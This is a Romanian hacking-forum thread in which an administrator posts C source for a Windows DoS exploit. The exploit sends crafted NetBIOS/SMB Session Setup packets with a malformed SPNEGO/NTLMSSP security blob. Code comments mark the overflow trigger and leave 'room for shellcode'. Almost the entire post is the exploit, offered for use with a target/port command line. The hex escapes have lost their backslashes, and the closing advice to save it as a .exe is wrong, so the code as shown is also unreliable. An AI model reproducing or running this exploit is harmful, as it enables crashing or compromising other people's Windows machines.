Asasinu
Welcome To Asasinu!!! Please Register To Have Acces To Evrithing !!! !FORUMUL ESTE IN PLINA DEZVOLTARE VA RUGAM SA NE AJUTATI!
Lista Forumurilor Pe Tematici
Asasinu | Reguli | Inregistrare | Login

POZE ASASINU

Nu sunteti logat.
Nou pe simpatie:
mimy_glacier Profile
Femeie
24 ani
Prahova
cauta Barbat
26 - 47 ani
Asasinu / Exploituri / Un exploit DoS Pentru atacarea windowsului Moderat de Marius93, lypanu06
Autor
Mesaj Pagini: 1
Asasin
<<ADMIN>>

Din: Caracal
Inregistrat: acum 17 ani
Postari: 635
Va prezint un exploit foarte cunoscut de DoS Pentru atacarea unui windows 


//#define WIN32

#ifdef WIN32

#include <winsock2.h>
#include <windows.h>

#else

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#endif

#include <stdio.h>

/****************************************************************/

unsigned char netbios_sess_req[] =

/* NetBIOS Session Request */

"x81x00x00x44"

"x20x45x45x45x46x45x47x45x42x46x46x45x4Dx46x45x43"
"x41x43x41x43x41x43x41x43x41x43x41x43x41x43x41x43"
"x41x00"

"x20x45x45x45x46x45x47x45x42x46x46x45x4Dx46x45x43"
"x41x43x41x43x41x43x41x43x41x43x41x43x41x43x41x41"
"x41x00";

/****************************************************************/

unsigned char negotiate_req[] =

/* NetBIOS Message Type + Length & SMB Header */

"x00x00x00xB3"

"xFFx53x4Dx42x72x00x00x00x00x08x01xC8x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x75x03x00x00x02x00"

/* Negotiate Protocol Request, actually sniffed from smbclient */

"x00x90x00x02x50x43x20x4Ex45x54x57x4Fx52x4Bx20x50"
"x52x4Fx47x52x41x4Dx20x31x2Ex30x00x02x4Dx49x43x52"
"x4Fx53x4Fx46x54x20x4Ex45x54x57x4Fx52x4Bx53x20x31"
"x2Ex30x33x00x02x4Dx49x43x52x4Fx53x4Fx46x54x20x4E"
"x45x54x57x4Fx52x4Bx53x20x33x2Ex30x00x02x4Cx41x4E"
"x4Dx41x4Ex31x2Ex30x00x02x4Cx4Dx31x2Ex32x58x30x30"
"x32x00x02x44x4Fx53x20x4Cx41x4Ex4Dx41x4Ex32x2Ex31"
"x00x02x53x61x6Dx62x61x00x02x4Ex54x20x4Cx41x4Ex4D"
"x41x4Ex20x31x2Ex30x00x02x4Ex54x20x4Cx4Dx20x30x2E"
"x31x32x00";

/****************************************************************/

unsigned char setup_request[] =

/* NetBIOS Message Type + Length & SMB Header */

"x00x00xCCxCC"

"xFFx53x4Dx42x73x00x00x00x00x08x01xC8x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x75x03x00x00x03x00"

/* Session Setup AndX Request */

"x0CxFFx00x00x00xFFxFFx02x00x01x00x00x00x00x00xCC"
"xCCx00x00x00x00x5Cx00x00x80xCCxCC";

/* Security Blob: SPNEGO OID + ASN.1 stuff */

unsigned char security_blob[] =

/* Application Constructed Object + SPNEGO OID */

"x60x82xCCxCCx06x06x2Bx06x01x05x05x02"

/* negTokenInit + Constructed Sequence */

"xA0x82xCCxCCx30x82xCCxCC"

/* mechType: NTLMSSP OID */

"xA0x0Ex30x0Cx06x0Ax2Bx06x01x04x01x82x37x02x02x0A"

/* reqFlags that should trigger the overflow */

"xA1x05x23x03x03x01x07"

/* mechToken: NTLMSSP (room for shellcode here) */

"xA2x82xCCxCCx04x82xCCxCC"

"x4Ex54x4Cx4Dx53x53x50x00x01x00x00x00x15x02x08x60"
"x09x00x09x00x20x00x00x00x07x00x07x00x29x00x00x00"
"x57x4Fx52x4Bx47x52x4Fx55x50x44x45x46x41x55x4Cx54";

/* Native OS & LAN Manager */

unsigned char other_stuff[] =

"x00x55x00x6Ex00x69x00x78x00x00x00x53x00x61x00x6D"
"x00x62x00x61x00x00x00";

/****************************************************************/

int main( int argc, char *argv[] )
{
    unsigned char buf[4096];
    struct hostent *server_host;
    struct sockaddr_in server_addr;
    int i, len, server_fd, n1, n2, n3;

#ifdef WIN32

    WSADATA wsa;

    /* initialize windows sockets */

    if( WSAStartup( MAKEWORD(2,0), &wsa ) )
    {
        fprintf( stderr, "WSAStartup failedn" );
        return( 1 );
    }

#endif

    if( argc != 3 && argc != 4 )
    {
        fprintf( stderr, "usage: %s <target hostname> "
                         "<port> [netbios name]n",
                 argv[0] );

        return( 1 );
    }

    /* resolve the server hostname and connect */

    server_host = gethostbyname( argv[1] );

    if( server_host == NULL )
    {
        fprintf( stderr, "gethostbyname(%s) failedn", argv[1] );
        return( 1 );
    }

    memcpy( (void *) &server_addr.sin_addr,
            (void *) server_host->h_addr,
            server_host->h_length );

    sscanf( argv[2], "%d", &i );

    server_addr.sin_family = AF_INET;
    server_addr.sin_port   = htons( (unsigned short) i );

    server_fd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );

    if( server_fd < 0 )
    {
        fprintf( stderr, "could not create socketn" );
        return( 1 );
    }

    len = sizeof( server_addr );

    if( connect( server_fd, (struct sockaddr *)
                 &server_addr, len ) < 0 )
    {
        fprintf( stderr, "connect failedn" );
        return( 1 );
    }

    if( argc == 4 )
    {
        /* encode the Called NetBIOS Name */

        len = sizeof( netbios_sess_req ) - 1;
        memcpy( buf, netbios_sess_req, len );
        memset( buf + 5, 'A', 32 );

        for( i = 0; i < (int) strlen( argv[3] ); i++ )
        {
            buf[5 + i * 2] += argv[3][i] >> 4;
            buf[6 + i * 2] += argv[3][i] & 15;
        }

        for( ; i < 16; i++ )
        {
            buf[5 + i * 2] += 0x20 >> 4;
            buf[6 + i * 2] += 0x20 & 15;
        }

        /* 1. NetBIOS Session Request */

        if( send( server_fd, buf, len, 0 ) != len )
        {
            fprintf( stderr, "send(NetBIOS Session Request) failedn" );
            return( 1 );
        }

        if( recv( server_fd, buf, sizeof( buf ), 0 ) <= 0 )
        {
            fprintf( stderr, "recv(NetBIOS Session Response) failedn" );
            return( 1 );
        }

        if( buf[0] == 0x83 )
        {
            fprintf( stderr, "NetBIOS Session rejected "
                             "(wrong NetBIOS name ?)n" );
            return( 1 );
        }
    }

    /* 2. Negotiate Protocol Request */

    len = sizeof( negotiate_req ) - 1;

    if( send( server_fd, negotiate_req, len, 0 ) != len )
    {
        fprintf( stderr, "send(Negotiate Protocol Request) failedn" );
        return( 1 );
    }

    if( recv( server_fd, buf, sizeof( buf ), 0 ) <= 0 )
    {
        fprintf( stderr, "recv(Negotiate Protocol Response) failedn" );
        return( 1 );
    }

    /* 3. Session Setup AndX Request */

    memset( buf, 'A', sizeof( buf ) );

    n1 = sizeof( setup_request ) - 1;
    n2 = sizeof( security_blob ) - 1;
    n3 = sizeof( other_stuff   ) - 1;

    memcpy( buf,           setup_request, n1 );
    memcpy( buf + n1,      security_blob, n2 );

    n2 += 2000; /* heap padding for shellcode */

    memcpy( buf + n1 + n2, other_stuff,   n3 );

    len = n1 + n2 + n3;

    buf[ 2] = ( ( len - 4 ) >> 8 ) & 0xFF;      /* NetBIOS msg length   */
    buf[ 3] = ( ( len - 4 )      ) & 0xFF;

    buf[51] = ( n2      ) & 0xFF;               /* Security Blob Length */
    buf[52] = ( n2 >> 8 ) & 0xFF;

    buf[61] = ( ( n2 + n3 )      ) & 0xFF;      /* Byte Count (BCC)     */
    buf[62] = ( ( n2 + n3 ) >> 8 ) & 0xFF;

    buf[n1 +  2] = ( ( n2 -  4 ) >> 8 ) & 0xFF; /* ACO Length           */
    buf[n1 +  3] = ( ( n2 -  4 )      ) & 0xFF;

    buf[n1 + 14] = ( ( n2 - 16 ) >> 8 ) & 0xFF; /* negTokenInit Length  */
    buf[n1 + 15] = ( ( n2 - 16 )      ) & 0xFF;

    buf[n1 + 18] = ( ( n2 - 20 ) >> 8 ) & 0xFF; /* Constr. Seq. Length  */
    buf[n1 + 19] = ( ( n2 - 20 )      ) & 0xFF;

    buf[n1 + 45] = ( ( n2 - 47 ) >> 8 ) & 0xFF; /* mechToken Length     */
    buf[n1 + 46] = ( ( n2 - 47 )      ) & 0xFF;

    buf[n1 + 49] = ( ( n2 - 51 ) >> 8 ) & 0xFF; /* String Length        */
    buf[n1 + 50] = ( ( n2 - 51 )      ) & 0xFF;

    if( send( server_fd, buf, len, 0 ) != len )
    {
        fprintf( stderr, "send(Session Setup AndX Request) failedn" );
        return( 1 );
    }

    recv( server_fd, buf, sizeof( buf ), 0 );

    shutdown( server_fd, 2 );

    return( 0 );
}



#milw0wrm
Deci creati un document text si salvati .exe


_______________________________________

إلا الموتى وشهدت نهاية الحرب

pus acum 17 ani
   
Reliever
Cautator

Inregistrat: acum 15 ani
Postari: 0
Ce face mai exact acest exploit?

pus acum 15 ani
   
Pagini: 1  

Mergi la